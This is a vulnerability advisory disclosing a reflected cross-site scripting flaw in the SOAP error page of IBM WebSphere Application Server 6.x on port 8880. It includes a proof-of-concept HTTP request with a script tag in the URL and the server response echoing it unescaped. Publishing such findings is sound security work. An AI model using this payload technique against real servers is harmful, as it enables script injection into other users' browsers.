PR05-04: Cross Site Scripting (XSS) Vulnerability in IBM WebSphere Application Server

Description: IBM WebSphere Application Server is vulnerable to Cross Site Scripting through a 'faultactor' tag in the 500 Internal Server Error page on port 8880 (default SOAP port).

Note: our original advisory contained a typo in the SOAP tag name ('faultfactor' as opossed to 'faultactor'). i.e., "actor" not "factor".

Date found: 27 February 2005

Date public: 6 November 2006

Vulnerable:

This has been tested on WebSphere Application Server version 6.x. Other versions may be vulnerable but this has not been verified.

Severity: Medium

Author: Nuri Fattah [nuri.fattah@procheckup.com]

CVE Candidate: CVE-2006-2431

Description:

WebSphere Application Server is vulnerable to a Cross Site Scripting attack through the Internal Server Error page used on port 8880 of the default WebSphere installation. This may allow the execution of malicious script code in the browser of an individual who clicks on a link to a site using the vulnerable version of WebSphere.

Information:

REQUEST:

GET /<SCRIPT>alert('Can%20Cross%20Site%20Attack')</SCRIPT> HTTP/1.1
Host: 192.168.1.195:8880
Connection: close

RESULTS:

HTTP/1.1 500 Internal Server Error
Server: WebSphere Application Server/6.0
Content-Type: text/xml; charset=utf-8
Content-Length: 3013
Connection: close

<?xml version='1.0' encoding='UTF-8'?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<SOAP-ENV:Header xmlns:ns0="admin" ns0:WASRemoteRuntimeVersion="6.0.0.1" ns0:JMXMessageVersion="1.0.0" ns0:JMXVersion="1.2.0">
</SOAP-ENV:Header>
<SOAP-ENV:Body>
<SOAP-ENV:Fault>

[output omitted]

<faultactor>/<SCRIPT>alert('Can%20Cross%20Site%20Attack')</SCRIPT></faultactor>
</SOAP-ENV:Fault>

</SOAP-ENV:Body>
</SOAP-ENV:Envelope>

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